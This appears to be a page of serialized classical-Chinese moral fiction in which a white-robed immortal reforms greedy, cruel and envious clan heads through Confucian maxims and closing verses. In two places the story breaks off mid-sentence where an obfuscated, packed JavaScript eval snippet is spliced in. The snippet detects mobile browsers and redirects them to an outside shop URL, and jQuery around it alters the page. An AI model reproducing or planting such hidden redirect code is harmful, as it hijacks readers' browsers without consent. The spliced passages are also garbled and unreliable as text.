恰此时,楼角金铃无风自鸣,其声凄厉。谷公色变。来人道:“今有一法可解:拆金玉饰以济贫,减庖厨奢以施饭,以楼为义塾,教化子弟。财散于民,德聚于身。” 谷公从之,拆楼饰,设粥棚,改楼为“积德义塾”,聘名师教寒门子弟。是夜,碑上血字转金。来人教“散聚法”:财如流水,散之则润物,聚之则腐臭。谷氏自此尚俭,民颂“谷善人”。 四、 聚散会 三姓悔改,聚于聚散台。来人指碑全文: “是故君子先慎乎德。有德此有人,有人此有土,有土此有财,有财此有用。今三公重德轻财,是返本归原。” 金公问:“吾等已散财,然城中仍有富室吝啬,何以化之?” “以德化之。”来人召城民聚台下,令三公自述其过。 金公述囤积:“吾囤粮如山,而民饿于道,是无德。今开仓济贫,乃知有德此有人。” 钱公述盘剥:“吾放债夺命,货悖而入,是无德。今焚券还田,乃知悖入必悖出。” 谷公述奢靡:“吾奢靡无度,而民无衣,是无德。今散财设塾,乃知财散则民聚。” 城民闻之,欢声动地。有富户惭,有债主悔,有奢者羞。三月间,城中富室多行善举。 来人教“德本化民法”:择城中贤者,立“积德堂”,每月朔望,聚于台下,以“德本财末”相劝勉。又制“聚散榜”,彰善罚恶。 五、 悖出悖入谳 中秋,积金城办“德本祭”,三姓共主祭。忽有流寇来犯,声言“取不义之财”。城民欲抗,来人止之,召三姓家主并城中耆老,会于聚散台。 是日,祭典方启,主祭人正诵“货悖而入者,亦悖而出”,忽闻祭坛中央那尊青铜“德本鼎”发出“轰”然震鸣——鼎内本焚着香木,此刻青烟凝聚,竟自鼎腹中化出一道人形,踏烟凌虚,如谪仙临凡。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎耳之上,衣袂与香烟同舞。 “善哉!三公已悟德本之道。”来人朗声道,“是故言悖而出者,亦悖而入。今流寇以‘取不义之财’为名,是言悖而出;若城中财皆义财,其言自破。” 飞身而下,如白鹤栖松,点尘不惊。取木剑画地成策:“开城门,请寇首入,观我仓廪府库。若见粮平粜、债低利、财散民,彼必自惭。” 三公从之。寇首入城,见粮仓半空,问:“粮何在?”金公答:“半价粜民,三成济贫。”见钱庄无高利,问:“利几何?”钱公答:“月利三分,逾期不滚。”见摘星楼为义塾,问:“楼何用?”谷公答:“教化寒门子弟。”又见民皆拥护三姓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有德此有人,有人此有土,有土此有财,有财此有用 - 德者本也,财者末也 - 外本内末,争民施夺 - 破解法:凡取财用财,自问“此财可悖入否?此用可悖德否?德为本,财为末,本末可倒置否?” 二、 聚散悖出三鉴 - 财聚则民散,财散则民聚 - 言悖而出者,亦悖而入 - 货悖而入者,亦悖而出 - 惕世:多少富户聚财如山,而众叛亲离?多少商人巧取豪夺,而家破人亡?多少豪奢挥金如土,而晚景凄凉? - 三姓之鉴:金氏囤积,是聚财散民;钱氏盘剥,是悖入悖出;谷氏奢靡,是外本内末 三、 根本之道 - 深层隐喻:德如根,财如叶。根深则叶茂,根腐则叶枯 - 终极指向:治国平天下,在慎德。有德则有人,有人则有土,有土则有财,有财则有用。无德而求财,如无根之木,虽暂荣必枯 德本偈: 积金城里三姓偏,德本财末各倒颠。 金氏囤粮民饿死,财聚民散德不全。 钱氏盘剥夺人命,货悖而入悖出焉。 谷氏奢靡弃膏粱,外本内末争民愆。 三姓迷途不知返,聚散碑现血泪涟。 白衣点破德本理,碑前指醒梦中贤。 君子先慎乎德本,有德有人有土田。 有土有财方有用,德本财末不可迁。 财聚民散散民聚,言悖出入皆循环。 货悖而入悖必出,天理昭彰报不爽。 后世叹: 君子慎德为根本,有德有人有土财。 德本财末不可倒,外本内末争民灾。 财聚民散散民聚,言悖出入皆循环。 货悖而入悖必出,三姓当初皆倒颠。 聚散碑前血泪现,白衣指点德本原。 正是: 治国平天下慎德,有德有人有土财。 德者本也财者末,外本内末争民灾。 财聚则民散如沙,财散则民聚如城。 言悖而出悖而入,货悖而入悖出该。 三姓当初迷此理,聚散碑前指德本。 78.惟善谳 楔子·三宝碑 云梦泽畔有山城名“宝璋邑”,城中有“三宝台”,台上立“三宝碑”,碑分三面,分镌三训:东面“惟命不于常”摘自《康诰》,字迹刚劲如刀劈斧削;南面“楚国无以为宝,惟善以为宝”出自《楚书》,字体雍容如圭璋;西面“亡人无以为宝,仁亲以为宝”乃舅犯之语,笔意苍凉如流放。相传乃前代三位异人分刻,百年风雨,碑面斑驳。 邑中三大族:钟离氏恃兵强马壮,视“天命无常”为强者恒强之据;屈氏富可敌国,藏金玉珠翠无数,自矜“楚国无以为宝”乃虚言;申屠氏乃前朝公卿之后,流亡至此,却鄙薄亲情,以“亡人无以为宝”自嘲而自弃。三族皆恃所“宝”,然所宝皆非善道,邑中暗流汹涌。 是年白露,三宝碑忽生异象:“惟命不于常”五字渗血如泪;“惟善以为宝”五字蒙尘如雾;“仁亲以为宝”五字裂纹如枯枝。三姓家主观碑,各怀忐忑。 八月十五,中秋夜,邑中演“楚宫宴”古剧。正演至“和氏献璧”一节,忽闻台上那尊作为道具的“和氏璧”(实为汉白玉仿制)发出“铮”然清响——玉璧竟自中裂为三块,一人自玉璧裂缝中踏光而出,如明月化形。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清冷如秋水;着一身云纹素罗深衣,衣摆以银丝绣着三件古器:东面玄圭,南面玉璧,西面铜镜,暗合“三宝”之意。外罩一件无袖素纱氅衣,氅角缀三枚玉珩,珩珩相叠寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如古木年轮,隐现岁月沧桑。足踏素锦步月履,履尖微翘,不染尘埃。 身形颀长,立于裂玉之侧,帷笠轻纱与月光同辉,竟似从玉魄中化出的精灵。台下观者屏息,分不清是戏是真。 来人以木剑轻点三块裂玉,声如击磬: “道善则得之,不善则失之矣!” 又点: “惟善以为宝!” 再点: “仁亲以为宝!” 诵罢,木剑遥指三宝碑:“三姓家主,可愿登台观碑?” 钟离、屈、申屠三公相顾愕然。来人飘然下台,衣袂如流云舒卷:“某有三桩‘宝训’公案,可请三公分观。观毕,再论得失。” 一、 天命无常谳(钟离氏) 钟离氏为将门之后,家主钟离公,掌邑兵五百,弓马娴熟。恃强凌弱,常言“天命无常,强者为尊”。去岁兼并小族田产,逼死三条人命;今春强征民女为婢,致父女投河。邑民敢怒不敢言。 来人引钟离公至“惟命不于常”碑前。五字渗血,以指触之,温热如泪。钟离公蹙眉。 “惟命不于常。道善则得之,不善则失之矣。”来人问,“钟离公以何为命?” 钟离公按剑傲然:“强者为命!” “善哉!强者为命。”来人指向城外荒冢,“然彼三座新坟,生前亦恃强凌弱,今安在哉?天命无常,不独于国,亦在于人。恃强凌弱,是善?是不善?” 钟离公语塞。来人又引至钟离氏演武场,见兵器森然,然场边跪着三户被夺田者,衣不蔽体。问:“公之强,可强于天理?道善则得,不善则失。公以不善得田,他日可保否?” 取壁上强弓,引而不发:“弓强易折,势强易倾。昔霸王项羽,力能扛鼎,终刎乌江。公之强,可比霸王?” 钟离公汗出。来人叹:“《康诰》此语,本意警醒:天命不常佑一人,惟德是辅。公恃强而不修德,是逆天而行,岂能长久?” 恰此时,场边旗杆“咔嚓”断裂,大旗委地。钟离公色变。来人道:“今有一法可解:还田于民,释婢归家,抚恤亡者。以善得众,以德固强。” 钟离公沉吟良久,掷剑于地,即还田释婢,设“抚孤堂”。是夜,“惟命不于常”五字血渍渐淡。来人教“天命法”:天命无常,惟德是依。钟离氏自此以德治兵,民颂“钟离义师”。 二、 惟善为宝谳(屈氏) 屈氏为商贾巨富,家主屈公。藏宝无数:东海明珠、西域美玉、南疆犀角、北漠貂裘。然吝啬成性,见灾不赈,遇贫不济。昨日,有饥民乞食,屈公命仆驱赶,饥民夺路撞阶而亡。屈公抚掌笑曰:“贱命一条,不及吾阶前石。” 来人引屈公至“惟善以为宝”碑前。五字蒙尘,以袖拂之,尘埃飞扬,迷眼呛喉。屈公掩面。 “楚国无以为宝,惟善以为宝。”来人问,“屈公以何为宝?” 屈公昂首:“吾藏尽天下奇珍!” “善哉!奇珍为宝。”来人引至屈氏宝库,但见珠光宝气,耀眼夺目。问:“此珠可疗饥否?此玉可御寒否?此犀角可活人命否?” 屈公赧然。来人叹:“昔楚王不以白珩为宝,而以善为宝,故楚国强盛。今公藏宝如山,而邑有饿殍,是有宝,是无宝?《楚书》此训,公可记得?” 又引至阶前,血迹未干。问:“此石为宝,人命非宝?公以石为宝,他日石可为公挡灾乎?” 取明珠一颗,掷于地,应声而碎:“珠玉饥不可食,寒不可衣。惟善之宝,饥可食人,寒可衣人,危可救人。公藏碎玉,而弃活宝,愚乎?” 屈公面赤。来人曰:“道善则得之,不善则失之。公以不善守财,他日财必失于不善。何不化珠玉为粥米,活人无数,积善为宝?” 恰此时,宝库梁柱“吱呀”作响,尘埃簌落。屈公惧。来人道:“今有一法可解:散宝济贫,以三成宝货设“善宝仓”,平粜赈灾。化无用之珍,为有用之善。” 屈公从之,尽散珍玩,设仓施粥。是夜,“惟善以为宝”五字尘去光生。来人教“善宝法”:善为至宝,一生用之不尽。屈氏自此乐善好施,民颂“屈善人”。 三、 仁亲为宝谳(申屠氏) 申屠氏乃前朝公卿之后,流亡至此已三代。家主申屠公,常以“亡人之后”自居,愤世嫉俗,薄情寡义:族中孤寡不恤,亲子严苛如仇。昨日,其叔病笃求见,申屠公拒之门外,叔含恨而逝;其子背书有误,申屠公鞭笞三十,子夜半出走。 来人引申屠公至“仁亲以为宝”碑前。五字裂纹,以手抚之,触之如冰。申屠公缩手。 “亡人无以为宝,仁亲以为宝。”来人问,“申屠公以何为宝?” 申屠公冷笑:“吾家已亡,何宝之有?” “善哉!亡人之后,更当以仁亲为宝。”来人取申屠氏族谱,指其祖训:“申屠氏第三十七代祖训:流离不忘仁,困顿不弃亲。公可记得?” 申屠公默然。来人叹:“舅犯随重耳流亡,言‘亡人无以为宝,仁亲以为宝’,故能得国。今公流亡三世,不正应以仁亲为宝,凝聚族人,以期复兴?奈何自弃如此!” 又引至其叔灵前,棺木简陋,香火冷清。问:“公为侄,不恤叔;为父,不爱子。无仁无亲,何以立足?纵有万金,谁与共守?” 申屠公垂首。来人曰:“道善则得之。公不行仁亲,是自绝于善,何以得众?他日公若危难,谁肯援手?” 恰此时,灵前白烛无风自灭。申屠公颤。来人道:“今有一法可解:厚葬其叔,寻回其子,以仁亲聚族。亡人之宝,正在仁亲。” 申屠公泣,即厚葬叔父,亲寻其子,设“仁亲堂”抚恤族中孤寡。是夜,“仁亲以为宝”五字裂纹渐合。来人教“仁亲法”:仁以爱人,亲以睦族。仁亲在,虽亡犹存。申屠氏自此和睦,民颂“申屠仁门”。 四、 三宝会 三姓悔改,聚于三宝台。来人指碑全文: “惟命不于常,道善则得之,不善则失之。今三公各得其宝:钟离公得‘德强’之宝,屈公得‘善财’之宝,申屠公得‘仁亲’之宝。得宝则得众,得众则得邑。” 钟离公问:“吾等已改,然邑中仍有豪强凌弱、富者吝啬、孤寡无依,何以化之?” “以三宝化之。”来人召邑民聚台下,令三公自述其过。 钟离公述恃强:“吾恃强凌弱,逆天失德。今知天命无常,惟德是依。愿以德强邑。” 屈公述吝财:“吾藏宝弃善,本末倒置。今知惟善为宝,愿散财积善。” 申屠公述薄情:“吾薄情寡义,自绝仁亲。今知仁亲为宝,愿以仁亲聚族。” 邑民闻之,多有感泣。有豪强惭,有富者悔,有薄情者羞。三月间,邑风大变。 来人教“三宝化民法”:择邑中贤者,立“三宝堂”,每月朔望,聚于台下,以“惟善为宝”相劝勉。又制“三宝牌”,彰显善行。 五、 得失谳 重阳,宝璋邑办“三宝祭”,三姓共主祭。忽有流寇大军压境,号称“取宝屠城”。邑民惧,欲弃城。来人止之,召三姓家主并邑中耆老,会于三宝台。 是日,祭典方启,主祭人正诵“惟善以为宝”,忽闻祭坛中央那尊青铜“三宝鼎”发出“轰”然震鸣——鼎内本焚着香木,此刻青烟凝聚,竟自鼎腹中化出一道人形,踏烟凌虚,如仙临凡。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎耳之上,衣袂与香烟同舞。 “善哉!三公已得三宝之要。”来人朗声道,“道善则得之,不善则失之。今流寇来取‘宝’,当示以何宝?” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成策:“开城门,请寇首入,观我三宝。一观钟离氏德兵,二观屈氏善仓,三观申屠氏仁亲。彼若见宝不取,是义寇;若取,是贼寇,天必诛之。” 三公从之。寇首入城,见钟离氏兵强而民拥,问:“兵何强?”钟离公答:“以德强兵,故民拥戴。”见屈氏仓廪半空,问:“财何寡?”屈公答:“散财济贫,以善为宝。”见申屠氏族睦,问:“族何和?”申屠公答:“仁亲为宝,故族和睦。”又见邑民同心,寇首叹:“吾等本为取金玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102485|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之宝,今见德、善、仁亲三宝,不敢犯也。”遂退兵五十里,遣使谢罪,愿结盟好。 邑中文士叹曰:“昔三公各恃其宝,而邑危如累卵;今三公各得其宝,而邑固若金汤。此谓‘道善则得之’也!” 来人登台顶,临风而立,诵三训全文,声清越如磬。诵罢,谓众曰:“惟命不于常,天命惟德是亲。楚国无以为宝,惟善以为宝。亡人无以为宝,仁亲以为宝。三宝在心,天命在德,何惧之有?” 钟离公拜问:“先生将去,何以长保此宝?” 来人指心:“宝在汝心,何需外求?但时时自问:所行可善?所存可善?所亲可仁?若是,则三宝俱足矣。” 言毕,纵身跃上三宝碑顶,足尖一点“善”字,身形如白虹贯月,没入云中。众人仰观,唯见碑文光华流转,三宝粲然。 尾声三宝谣 十年后,宝璋邑更名“三宝城”。三姓互通婚姻,无分贵贱。城中设“三宝塾”,童蒙入学,先诵三训。有游学士子过境,见城中“路不拾遗,夜不闭户,强弱相扶,贫富相济”,问:“此城何治若此?” 老者答:“以三宝为宝。” “何谓三宝?” 童子诵《三宝谣》: “治国平天下在宝, 三宝训诲要记牢。 惟命不于常无常, 道善则得恶则消。 楚国无以为宝训, 惟善为宝是圭臬。 亡人无以为宝诚, 仁亲为宝是箴谣。 钟离恃强天命改, 屈氏藏宝善为要。 申屠薄情仁亲宝, 三姓迷途各倒颠。 白衣点破三宝理, 碑前指醒梦中贤。” 士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子读诗书,可知何者为宝?天命无常,惟德是辅;楚国无宝,惟善是宝;亡人无宝,仁亲是宝。子可宝之?” 士子惊寤,汗透重衣。翌日,焚却功名心,游学四方,传扬三宝。后成一代大儒,门人遍天下。 城中三宝碑,后人建“三宝阁”护之,阁悬联:“惟命无常惟德辅,楚国无宝惟善宝”。有迷途者临碑,碑面自现宝训。人传:“此乃白衣仙人所留三宝鉴也。” 本章诫世 一、 三宝之训 - 惟命不于常,道善则得之,不善则失之(天命无常,惟德是依) - 楚国无以为宝,惟善以为宝(善为至宝) - 亡人无以为宝,仁亲以为宝(仁亲为宝) - 破解法:处世立身,自问“吾以何为宝?” 以力为宝?以财为宝?以身为宝?抑或以德为宝,以善为宝,以仁亲为宝? 二、 三姓三迷 - 钟离氏迷于“力宝”——恃强凌弱,不知天命无常,惟德是辅 - 屈氏迷于“财宝”——藏金玉珠翠,不知惟善为宝 - 申屠氏迷于“身宝”——自怜自弃,不知仁亲为宝 - 惕世:多少人恃强凌弱,而不知盛极必衰?多少人聚敛财富,而不知善乃真宝?多少人薄情寡义,而不知仁亲可贵? 三、 得失常理 - 道善则得之,不善则失之 - 深层隐喻:得与失,不在外物,而在德行。行善则得人心,得人心则得一切;行恶则失人心,失人心则失所有 - 终极指向:治国平天下,在得人心;得人心,在行善道;行善道,在宝善德。三宝俱足,天命自归 三宝偈: 宝璋邑里三姓偏,各迷其宝失本原。 钟离恃强凌弱小,天命无常德不研。 屈氏藏宝如山海,惟善为宝抛一边。 申屠薄情弃仁亲,亡人无宝自弃怜。 三姓迷途不知返,三宝碑现血泪涟。 白衣点破三宝理,碑前指醒梦中贤。 惟命不于常无常,道善则得恶则迁。 楚国无宝惟善宝,仁亲为宝亡人箴。 三宝在心天命归,何须外求金玉珍。 后世叹: 惟命不于常无常,道善则得恶则亡。 楚国无以为宝训,惟善为宝是圭璋。 亡人无以为宝诚,仁亲为宝是箴方。 三姓当初迷此理,各持伪宝失本纲。 三宝碑前现异象,白衣指点宝中王。 正是: 治国平天下在宝,三宝训诲要记详。 惟命不于常无常,道善则得恶则亡。 楚国无以为宝训,惟善为宝是圭璋。 亡人无以为宝诚,仁亲为宝是箴方。 钟离恃强天命改,屈氏藏宝善为纲。 申屠薄情仁亲宝,三姓迷途各倒颠。 白衣点破三宝理,三宝碑前指玄章。 79.容贤谳 楔子·容贤碑 巴蜀有山城名“容州邑”,城南“聚贤台”上立“容贤碑”,碑镌《秦誓》名章:“若有一个臣,断断兮,无他技,其心休休焉,其如有容焉…人之有技,媢疾以恶之…实不能容。”字如刀刻,相传为前朝贤相辞官前所立,百年风雨,字迹苍劲。 邑中三大家族:上官氏掌邑政,家主上官公,看似宽厚,实则嫉贤妒能,凡有才者皆打压;司马氏掌文教,家主司马公,自称“好贤”,然见贤不举,举而不能先;欧阳氏掌刑名,家主欧阳公,性情骄泰,好人之所恶,恶人之所好。三族各执一端,邑中贤才埋没,宵小当道。 是年小满,容贤碑忽生异象:“实能容之”四字生青苔,绿意盎然;“实不能容”四字龟裂如怒目;“拂人之性”四字渗血如泪。三姓家主观碑,各怀鬼胎。 五月五,端午日,邑中演“招贤”古剧。正演至“周公吐哺”一节,忽闻台上那面作为道具的“招贤鼓”发出“咚”然巨响——鼓面竟自中破开,一人自鼓中踏声而出,如清音化形。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清冷如深潭;着一身云纹素罗深衣,衣摆以银丝绣着三幅图景:左为“吐哺握发”,中为“萧何追信”,右为“管鲍分金”,暗合“容贤”之意。外罩一件无袖素纱氅衣,氅角缀三枚玉璧,璧璧相叠寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如古琴断纹,隐现清音雅韵。足踏素锦登云履,履尖微翘,不染尘埃。 身形清癯,立于破鼓之侧,帷笠轻纱与鼓声余波同荡,竟似从招贤令中化出的精魄。台下观者瞠目,分不清是戏是幻。 来人以木剑轻点破鼓,声如鸣玉: “人之有技,若己有之!” 又点: “人之彦圣,其心好之!” 再点: “实能容之!” 诵罢,木剑遥指容贤碑:“三姓家主,可愿登台观碑?” 上官、司马、欧阳三公相顾色变。来人飘然下台,衣袂如流云舒卷:“某有三桩‘容贤’公案,可请三公分观。观毕,再论得失。” 一、 媢疾谳(上官氏) 上官氏世掌邑政,家主上官公。表面宽厚,实则心胸狭隘,凡见才干胜己者,必暗中打压。邑中贤士柳生,有经世之才,献《治水策》,上官公窃其策而不用其人,反诬其“狂妄”,柳生郁郁而终。又有巧匠鲁氏,善治器械,上官公夺其发明而黜其名,鲁氏含恨离邑。 来人引上官公至“实不能容”四字前。裂纹如怒目,以指触之,指尖生痛。上官公缩手。 “人之有技,媢疾以恶之。人之彦圣,而违之俾不通,实不能容。”来人问,“上官公可容贤否?” 上官公强笑:“吾…求贤若渴…” “渴而饮鸩,是渴,是愚?”来人取出两份文稿,一为柳生《治水策》原稿,一为上官公窃改后伪作。“此策可解邑中水患,公不用其人,反窃其策。是容贤,是嫉贤?” 上官公汗出。来人又引至鲁氏旧居,但见蛛网满室,壁上留字:“怀璧其罪,抱恨终天”。问:“公夺其技,黜其名,是爱才,是害才?《秦誓》云‘以不能保我子孙黎民、亦曰殆哉’,公为邑宰,不能容贤,何以保民?” 上官公赧然。来人叹:“断断兮,无他技,其心休休焉,其如有容焉。公位高权重,当有容人之量。今媢疾贤能,是自毁股肱。股肱毁,何以行?” 恰此时,堂前匾额“明镜高悬”轰然坠落,镜面尽碎。上官公骇。来人道:“今有一法可解:追封柳生,厚恤其家;寻回鲁氏,以礼相聘。开‘招贤馆’,凡有才者,必举用之。” 上官公从之,即行三事。是夜,“实不能容”四字裂纹渐合。来人教“容贤法”:人之有技,若己有之;人之彦圣,其心好之。上官氏自此开明,邑中贤才云集。 二、 命过谳(司马氏) 司马氏掌文教,家主司马公。自诩“伯乐”,然见贤而不能举,举而不能先。邑中寒士韩生,才华冠绝,三试皆魁,司马公恐其位过己,压其名次,使居末榜。又有才女文姬,诗赋绝伦,司马公以“女子无才便是德”阻其进学,文姬愤而毁稿。 来人引司马公至“实能容之”四字前。青苔鲜绿,以手拂之,苔痕入手,洗之不脱。司马公蹙眉。 “见贤而不能举,举而不能先,命也。见不善而不能退,退而不能远,过也。”来人问,“司马公可举贤否?” 司马公嗫嚅:“吾…举贤不避亲…” “亲而不贤,是举亲,是蔽贤?”来人取三试榜单,韩生本应魁首,反列末位。“韩生之才,公不知否?知之而不举,是过;举而不能先,是命薄。然此命非天命,乃公之私心作祟!” 又取文姬残稿,字字珠玑:“女子有才,便是有德。公以陈腐之见,埋没才女,是误人,是误邑?邑中少一才女,与公何益?与邑何益?” 司马公面赤。来人曰:“唯仁人为能爱人,能恶人。公不能爱贤,是谓不仁;不能恶不肖,是谓不智。不仁不智,何以掌文教?” 恰此时,案头“文曲星”木雕无故开裂。司马公惧。来人道:“今有一法可解:重定榜单,韩生为魁;设女学,聘文姬为师。凡有才者,不论男女,必举而先之。” 司马公从之,即开女学,重定科名。是夜,“实能容之”四字青苔转润。来人教“举贤法”:见贤能举,举而能先;见不善能退,退而能远。司马氏自此公正,邑中文风大盛。 三、 拂性谳(欧阳氏) 欧阳氏掌刑名,家主欧阳公。性情骄泰,好人之所恶,恶人之所好。邑中义士武生,好打抱不平,欧阳公恶其“多事”,屡加刁难;奸商贾五,盘剥乡里,欧阳公喜其“孝敬”,多方袒护。昨日,武生擒贼送官,欧阳公反诬其“私刑”,杖责二十;贾五强占民田,欧阳公判“田归原主”,却暗许贾五“补价”了事。 来人引欧阳公至“拂人之性”四字前。血泪犹湿,以袖拭之,袖染殷红。欧阳公骇。 “好人之所恶,恶人之所好,是谓拂人之性,灾必逮夫身。”来人问,“欧阳公好恶,可同于民?” 欧阳公强道:“吾…依法而断…” “法是公器,然公心偏私。”来人取两案卷宗:武生擒贼,贼证物证俱在,反受杖责;贾五占田,苦主血书累累,反得“合法”。“公好奸商之贿,恶义士之直,是拂民之性。民好公正,公偏不公;民恶贪腐,公偏不恶。长此以往,灾必逮身!” 又引至公堂,见“明镜高悬”匾下,跪满喊冤者。问:“公堂本为申冤,今成造冤之地。公掌刑名,是护法,是坏法?” 欧阳公颤。来人叹:“是故君子有大道:必忠信以得之,骄泰以失之。公以骄泰断案,失忠失信,何以得民?” 恰此时,公堂惊堂木无故崩裂。欧阳公色变。来人道:“今有一法可解:重审旧案,武生褒奖,贾五严惩。设‘公议堂’,凡大案,必听民意。” 欧阳公从之,即翻旧案,惩奸奖善。是夜,“拂人之性”四字血渍渐淡。来人教“好恶法”:好民所好,恶民所恶,是谓同民。欧阳氏自此公正,邑中颂“欧阳青天”。 四、 容贤会 三姓悔改,聚于聚贤台。来人指碑全文: “唯仁人放流之,迸诸四夷,不与同中国。此谓唯仁人为能爱人,能恶人。今三公能爱人,能恶人,是近仁矣。” 上官公问:“吾等已改,然邑中仍有嫉贤、蔽贤、拂性之事,何以化之?” “以容贤化之。”来人召邑民聚台下,令三公自述其过。 上官公述媢疾:“吾嫉贤妒能,实不能容。今知人之有技,若己有之。愿开招贤馆,广纳贤才。” 司马公述命过:“吾见贤不举,举而不先。今知见贤能举,举而能先。愿开女学,唯才是举。” 欧阳公述拂性:“吾好恶拂民,骄泰失道。今知好民所好,恶民所恶。愿设公议堂,听民断案。” 邑民闻之,欢声雷动。有嫉贤者惭,有蔽贤者悔,有拂性者羞。三月间,邑中风清气正。 来人教“容贤化民法”:择邑中贤者,立“容贤堂”,每月朔望,聚于台下,以“容贤举能”相劝勉。又制“容贤榜”,彰举贤者。 五、 得失道谳 重阳,容州邑办“容贤祭”,三姓共主祭。忽有外敌来犯,声言“踏平容州,尽虏贤才”。邑民惊,欲弃城。来人止之,召三姓家主并邑中耆老,会于聚贤台。 是日,祭典方启,主祭人正诵“实能容之”,忽闻祭坛中央那尊青铜“容贤鼎”发出“嗡”然长鸣——鼎内本焚着香木,此刻青烟凝聚,竟自鼎腹中化出一道人形,踏烟凌虚,如谪仙临凡。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎耳之上,衣袂与香烟同舞。 “善哉!三公已得容贤之要。”来人朗声道,“是故君子有大道:必忠信以得之,骄泰以失之。今外敌来犯,是彼骄泰;我以忠信容贤,何惧之有?” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成策:“敌欲虏贤,是因彼处无贤。我处贤才济济,何不示之以威?柳生治水,可水淹敌营;鲁氏器械,可守城如铁;韩生文才,可撰檄文;文姬诗赋,可鼓士气;武生勇武,可率民壮。贤才各用其能,敌必退。” 三公从之。柳生开闸放水,淹敌粮道;鲁氏造连弩,射敌先锋;韩生撰《讨逆檄》,文采飞扬;文姬作《保城赋》,全城传唱;武生率民壮夜袭,斩敌枭首。外敌溃退,叹曰:“容州贤才如此,不可图也。” 邑中文士叹曰:“昔三公不能容贤,贤才埋没,邑弱民贫;今三公能容贤,贤才尽用,邑富民强。此谓‘忠信以得之’也!” 来人登台顶,临风而立,诵《秦誓》全文,声清越如钟。诵罢,谓众曰:“若有一个臣,断断 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好恶拂性灾逮身, 君子忠信得泰骄。 上官媢疾不能容, 司马蔽贤命过愆。 欧阳拂性骄泰失, 三姓迷途各倒颠。 白衣点破容贤理, 碑前指醒梦中贤。” 士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子若为官,可容贤否?人之有技,若己有之否?人之彦圣,其心好之否?见贤能举,举而能先否?见不善能退,退而能远否?好恶同民否?若然,则为仁人矣。” 士子惊寤,汗透重衣。翌日,焚却门户之见,广交寒士,后为相十年,门生故吏遍天下,皆称“容贤宰相”。 城中容贤碑,后人建“容贤阁”护之,阁悬联:“断断休休有容乃大,彦圣技能力举能先”。有嫉贤者临碑,碑面自现警语。人传:“此乃白衣仙人所留容贤鉴也。” 本章诫世 一、 容贤三要 - 容贤之要:人之有技,若己有之;人之彦圣,其心好之 - 蔽贤之害:媢疾以恶之,违之俾不通,实不能容 - 用贤之法:见贤能举,举而能先;见不善能退,退而能远 - 破解法:为官为长,自问“我可容贤?见贤能举否?举而能先否?见不善能退否?退而能远否?” 二、 三姓三蔽 - 上官氏蔽于“媢疾”——嫉贤妒能,实不能容 - 司马氏蔽于“命过”——见贤不举,举而不先 - 欧阳氏蔽于“拂性”——好恶反常,骄泰失道 - 惕世:多少上位者嫉贤妒能,打压才干?多少“伯乐”见贤不举,或举而不先?多少掌权者好恶拂性,亲小人远贤臣? 三、 得失大道 - 君子有大道:必忠信以得之,骄泰以失之 - 深层隐喻:得贤在容,容贤在心。心胸休休,方能容人;心胸狭隘,必失贤才 - 终极指向:治国平天下,在得贤才;得贤才,在能容贤;能容贤,在去媢疾、举贤能、同好恶。此谓君子大道 容贤偈: 容州邑里三姓偏,各蔽贤才失本原。 上官媢疾不能容,贤才埋没邑凋残。 司马蔽贤举不先,寒士才女皆含冤。 欧阳拂性好恶反,亲奸远贤民怨谗。 三姓迷途不知返,容贤碑现血泪涟。 白衣点破容贤理,碑前指醒梦中贤。 人之有技若己有,彦圣心好实能容。 媢疾恶之实难容,不能保民亦殆焉。 见贤不举举不先,见恶不退退不远。 好恶拂性灾逮身,君子忠信得泰谦。 后世叹: 断断休休有容贤,人之有技若己有。 人之彦圣心好之,实能容之利子孙。 媢疾恶之实难容,不能保民亦殆云。 见贤不举举不先,见恶不退退不远。 好恶拂性灾逮身,君子忠信得泰谦。 三姓当初迷此理,各蔽贤才失本原。 容贤碑前现异象,白衣指点容贤篇。 正是: 治国平天下在贤,容贤之道要详参。 人之有技若己有,人之彦圣心好焉。 实能容之利子孙,媢疾恶之实难容。 见贤不举举不先,见恶不退退不远。 好恶拂性灾逮身,君子忠信得泰谦。 上官媢疾不能容,司马蔽贤命过愆。 欧阳拂性骄泰失,三姓迷途各倒颠。 白衣点破容贤理,容贤碑前指真诠。 80.性教谳 楔子·性教碑 岭南有山城名“开蒙邑”,城西“性教台”上立“性教碑”,碑分四面,分镌四训:正面“人之初,性本善”,字迹温润如璞玉;左面“性相近,□□”,字体清隽如行云;右面“苟不教,性乃迁”,笔意警醒如晨钟;背面“教之道,贵以专”,气势端凝如泰山。相传为前代蒙学大儒手书,百年风雨,墨痕如新。 邑中三大家族:慕容氏为武学世家,家主慕容公,信“性本善”而纵溺子弟,不教不导;公孙氏为书香门第,家主公孙公,明“性相近”而偏私教子,待人有别;钟离氏为商贾巨室,家主钟离公,知“贵以专”而教子偏执,唯务功名。三族皆重子弟教养,然各执一偏,邑中少年多歧途。 